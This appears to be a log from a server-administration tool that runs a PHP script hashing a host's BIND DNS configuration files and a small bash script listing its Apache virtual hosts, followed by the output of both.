	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-24 10:39:53: 

runuser -l bind -s /bin/bash -c '/tmp/pkp101225; rm /tmp/pkp101225'

2026-05-24 10:39:53: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-24 10:40:01: Establishing a connection
2026-05-24 10:40:01: 

PUT: /tmp/pkp419137

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-24 10:40:01: 

chmod 755 /tmp/pkp419137; /tmp/pkp419137; rm /tmp/pkp419137

2026-05-24 10:40:01: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
